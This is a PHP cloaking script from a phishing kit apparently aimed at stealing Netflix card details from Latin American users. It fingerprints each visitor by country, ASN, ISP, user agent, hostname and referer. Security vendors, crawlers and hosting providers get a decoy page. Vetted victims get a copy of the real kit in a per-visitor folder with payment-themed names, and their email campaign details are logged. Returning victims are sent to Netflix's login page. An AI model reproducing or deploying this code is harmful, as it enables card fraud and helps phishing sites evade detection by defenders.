<?php
error_reporting(0);

 $_SESSION['uniqueID'] = $_SESSION['Rwg5dzP'];
 $userAgent = $_SERVER['HTTP_USER_AGENT'];
 $ip = $_SERVER['REMOTE_ADDR'];
 $referer = $_SESSION['REFERER'];
 $var1 = filter_var($ip, FILTER_CALLBACK, array('options' => 'FILTER_FLAG_NO_LOOPBACK_RANGE'));
 $var2 = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)  && filter_var('127.0.0.1', FILTER_CALLBACK, array('options' => 'FILTER_FLAG_NO_LOOPBACK_RANGE'));
 $hostname = gethostbyaddr($ip);

define('DPATH', __DIR__."/Geoip");
function getC($ip) { include_once(DPATH.'/geoip.inc'); if((strpos($ip, ':') === false)) { $gi = geoip_open(DPATH.'/GeoIP.dat',GEOIP_STANDARD); return geoip_country_code_by_addr($gi, $ip); geoip_close($gi);  } else { $gi = geoip_open(DPATH.'/GeoIPv6.dat',GEOIP_STANDARD);  return geoip_country_code_by_addr_v6($gi, $ip); geoip_close($gi); } }
function getisp($ip) { include_once(DPATH.'/geoip.inc'); if((strpos($ip, ':') === false)) { $giisp = geoip_open(DPATH."/GeoIPISP.dat", GEOIP_STANDARD); return geoip_org_by_addr($giisp, $ip); geoip_close($giisp); } else { $json_url = "http://ip-api.com/json/".$ip."?fields=isp"; $json = file_get_contents_curl($json_url, $retries=1); $query = json_decode($json, TRUE); $isp = $query['isp']; return $isp; } }
function getas($ip) { include_once(DPATH.'/geoip.inc'); if((strpos($ip, ':') === false)) { $gias = geoip_open(DPATH.'/GeoIPASNum.dat',GEOIP_STANDARD); $asl = geoip_name_by_addr($gias, $ip); $asid = explode(' ', $asl); $aspd = trim($asid[0]); return $aspd; geoip_close($gias); } else { $gias = geoip_open(DPATH.'/GeoIPASNumv6.dat',GEOIP_STANDARD); $asl = geoip_name_by_addr_v6($gias, $ip); $asid = explode(' ', $asl); $aspd = trim($asid[0]); return $aspd; geoip_close($gias); } }
$cn = getC("$ip");
$as = getas("$ip");
$isp = getisp("$ip");

$_SESSION['cn'] = $cn;
$_SESSION['as'] = $as;
$_SESSION['isp'] = $isp;

$dires = array(
    "$cn"."PxyamentCozrfirmed",
    "$cn"."InvoxxiceAcczypted",
    "$cn"."SuccesxfsfulChaqrge",
    "$cn"."ConffirmationOK",
    "$cn"."PaxymentVezyrified",
    "$cn"."ReceiycvedInvoicze",
    "$cn"."CxxhargeCompyleted",
    "$cn"."PaymzentCoyxnfir",
    "$cn"."CompzyletedPaymeynt",
    "$cn"."VzalidatedInvoicze",
    "$cn"."AuzthorizxedChargye",
    "$cn"."PaymzentCofnrmed",
    "$cn"."InvoziceAccypted",
    "$cn"."ChxargeSuzccessful",
    "$cn"."OxzKConfirmed"
);


shuffle($dires);

$IPBN = explode("\n",file_get_contents("ipd"));
$ASBN = explode("\n",file_get_contents("asb"));
$fornotsession = substr(md5($ip),0,13);

if($as or $ip){
$dirs = array_filter(glob('../*'), 'is_dir');
foreach($dirs as $k => $directrs){ if (preg_match_all("/_$fornotsession/i", $directrs, $matches,PREG_OFFSET_CAPTURE)){ $DIR = $directrs; break;}else{$DIR = "../".$dires[0]."_".$fornotsession;}}						
if(in_array($ip,$IPBN)) {
	 $SZ118="JkouY";
file_put_contents("LOGIPS.TXT", "BAD IP ".trim($_SESSION['valid_message'])." - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");	
die;
}
elseif(in_array($as,$ASBN)) {
	 $SZ118="JkouY";
file_put_contents("LOGIPS.TXT", "BAD ASN - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");	
die;
}
}

if(strpos($_SESSION['valid_cli'],"false") !== false) {
$dirs = array_filter(glob('../*'), 'is_dir');
foreach($dirs as $k => $directrs){ if (preg_match_all("/_$fornotsession/i", $directrs, $matches,PREG_OFFSET_CAPTURE)){ $DIR = $directrs; break;}else{$DIR = "../".$dires[0]."_".$fornotsession;}}					
$_SESSION['valid_code'] = preg_replace('/\s+/', '', $_SESSION['valid_code']);
file_put_contents("LOGIPS.TXT", "\n".$_SESSION['valid_message']." (INV CODE: ".$_SESSION['valid_code'].") - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
if(!checkexist($ip,"ipd")){
	file_put_contents("ipd", "$ip\n" ,FILE_APPEND);
}

$SZ118="JkouY";
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");
die;
}



if(strlen($_SESSION['Rwg5dzP']) != 13 or empty($_SESSION['Rwg5dzP'])) {
foreach($dirs as $k => $directrs){ if (preg_match_all("/_$fornotsession/i", $directrs, $matches,PREG_OFFSET_CAPTURE)){ $DIR = $directrs; break;}else{$DIR = "../".$dires[0]."_".$fornotsession;}}		
file_put_contents("LOGIPS.TXT", "NOT SESSION - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
if(!checkexist($ip,"ipd")){
	file_put_contents("ipd", "$ip\n" ,FILE_APPEND);
}

$SZ118="JkouY";
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");
die;
}



$countrycode = array("AR","BZ","BO","CL","CO","CR","CU","DM","EC","SV","GT","HN","MX","NI","PA","PY","PE","PR","DO","UY","VE");



$badua = array("whatsapp","TelegramBot", "MSIE 9.0;", "Android SDK built", "google", "x11;", "fiddler", "dalvik", "scan", "virus", "server", "crawl", "support", "php", "perl", "wget", "python", "curl", "fetch", "java", "ruby", "adword", "microsoft", "bing", "adcenter", "yahoo", "bot");

$refer = array("localhost","hosting","dedicated","proxy","cache","security","azure","static", "google", "oracle", "bing", "netflix", "virus", "mcafee", "bing", "spam", "avast", "scan", "avira", "eset", "kaspersky", "phish", "microsoft", "www.google.com", "googleusercontent", "cache.google.com", "report", "dobleclick", "dns", "cxii-cci", "vps", "live", "binary" );


$isps = array("EDGEUNO","PHMGMT","localhost","CLOUDFLARENET","ZSCALER","HOSTING","DADDY","CLOUD","SOFTWARE", "BACOM", "ufinet", "digitalocean", "opendns", "dns", "microsoft", "amazon", "verixi", "nforce", "m247", "ovh", "linode", "stackpatch", "spam", "aws", "google", "NetComBB", "Sony", "TalkTalk", "USCONNECT", "PVimpelCom" ); 




$DIR = "../".$dires[0]."_".$_SESSION['uniqueID'];




if(empty($as) or empty($isp)){
	

$SZ118="JkouY";
file_put_contents("LOGIPS.TXT", "BAD IP NO GEOIPDB - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");	
die;
}
else{

if(!empty($cn)){
if(!in_array($cn,$countrycode)) {
if(!checkexist($ip,"ipd")){
	file_put_contents("ipd", "$ip\n" ,FILE_APPEND);
}	
$SZ118="JkouY";
file_put_contents("LOGIPS.TXT", "BAD IP COUNTRY BLOCKED - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");	
die;
}
}
else{
if(!checkexist($ip,"ipd")){
	file_put_contents("ipd", "$ip\n" ,FILE_APPEND);
}	
$SZ118="JkouY";
file_put_contents("LOGIPS.TXT", "BAD IP WITHOUT COUNTRY - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");	
die;	
}	
	
	
	
if(!empty($userAgent)){
$userAgentsearch = array_find_ua($userAgent,$badua);
$userAgentsearch2 = array_find($userAgent,$badua);
if (!$userAgentsearch or !$userAgentsearch2) { 
if(!checkexist($ip,"ipd")){
	file_put_contents("ipd", "$ip\n" ,FILE_APPEND);
}
file_put_contents("LOGIPS.TXT", "BLOCKED UA - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
$SZ118="JkouY";
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");
die; 
}
}


if(!empty($hostname)){
$hostnamefound = array_find(strtolower($hostname),arraytolower($refer));
$hostnamefound2 = array_find_ua(strtolower($hostname),arraytolower($refer));
if (!$hostnamefound or !$hostnamefound2) { 
if(!checkexist($ip,"ipd")){
	file_put_contents("ipd", "$ip\n" ,FILE_APPEND);
}
file_put_contents("LOGIPS.TXT", "BLOCKED HOSTNAME - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
$SZ118="JkouY";
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");
die; 
}
}


if(!empty($referer)){
$refererfound = array_find(strtolower($referer),arraytolower($refer));

if (!$refererfound) { 
if(!checkexist($ip,"ipd")){
	file_put_contents("ipd", "$ip\n" ,FILE_APPEND);
}
if($as){
if(!checkexist($as,"asb")){
	file_put_contents("asb", "$as\n" ,FILE_APPEND);
}
}
file_put_contents("LOGIPS.TXT", "BLOCKED REFERER - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
$SZ118="JkouY";
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");
die; 
}
}



$ispfound2 = array_find_ua(strtolower($isp),arraytolower($isps));
$ispfound = array_find(strtolower($isp),arraytolower($isps));
if (!$ispfound or !$ispfound or $as==$isp) {
if(!checkexist($ip,"ipd")){
	file_put_contents("ipd", "$ip\n" ,FILE_APPEND);
}
if($as){
if(!checkexist($as,"asb")){
	file_put_contents("asb", "$as\n" ,FILE_APPEND);
}
}	
file_put_contents("LOGIPS.TXT", "BLOCKED ISP - ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR\n" ,FILE_APPEND);
$SZ118="JkouY";
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");
die; 
}


else{
if(strpos($_SESSION['valid_cli'],"ok") !== false and !empty($_SESSION['Rwg5dzP'])){

$SZ118="main";
file_put_contents("LOGIPS.TXT", "\n\nGOOD IP ".$_SESSION['valid_message']." ".$ip."|$cn|$as|$isp|".$userAgent."|$hostname|$referer|$DIR (".$_SESSION['valid_mail']."|".$_SESSION['valid_sender']."|".$_SESSION['valid_subject']."|".$_SESSION['valid_smtp']."|".$_SESSION['valid_letter']."|".$_SESSION['valid_date']."|".$_SESSION['valid_hour'].")\n\n" ,FILE_APPEND);
recurse_copy( $SZ118, $DIR );
header("Location: ".$DIR."");
die;
}elseif(checkexist(md5($ip),"sucdb")){
file_put_contents("LOGIPS.TXT", "\nCC USER IS BACK! ".$ip."|$cn|$as|$isp|".$userAgent."\n" ,FILE_APPEND);
header('Location: https://netflix.com/login');
die;	
}	 

}
}

function recurse_copy($SZ118,$DIR) {
$dir = opendir($SZ118);

if (!file_exists($DIR)) {
    @mkdir($DIR);
} else {
    header("Location: ".$DIR."");
}


while(false !== ( $file = readdir($dir)) ) {
if (( $file != '.' ) && ( $file != '..' )) {
if ( is_dir($SZ118 . '/' . $file) ) {
recurse_copy($SZ118 . '/' . $file,$DIR . '/' . $file);
}
else {
copy($SZ118 . '/' . $file,$DIR . '/' . $file);
}
}
}
closedir($dir);
}


function array_find_ua($needle, array $badWords) {
$noBadWordsFound = true;
foreach ($badWords as $badWord) {
  if (preg_match("/$badWord/i", $needle)) {
    $noBadWordsFound = false;
    break;
  }
}
return $noBadWordsFound;
}

function array_find($needle, array $badWords) {
$noBadWordsFound = true;
foreach ($badWords as $badWord) {
  if (preg_match("/\b$badWord\b/i", $needle)) {
    $noBadWordsFound = false;
    break;
  }
}
return $noBadWordsFound;
}

function checkexist ($word, $filename){
$check = file_get_contents($filename);
 if (preg_match("/\b{$word}\b/i", $check)){
	 return true;
 }
else{ return false;} 
}

function FILTER_FLAG_NO_LOOPBACK_RANGE($value) {
    // Fails validation for the following loopback IPv4 range: 127.0.0.0/8
    // This flag does not apply to IPv6 addresses
    return filter_var($value, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) ? $value :
        (((ip2long($value) & 0xff000000) == 0x7f000000) ? FALSE : $value);
}
function arraytolower($array, $include_leys=false) {
   
    if($include_leys) {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array2[strtolower($key)] = arraytolower($value, $include_leys);
        else
          $array2[strtolower($key)] = strtolower($value);
      }
      $array = $array2;
    }
    else {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array[$key] = arraytolower($value, $include_leys);
        else
          $array[$key] = strtolower($value);  
      }
    }
   
    return $array;
  }  
 finish:
?>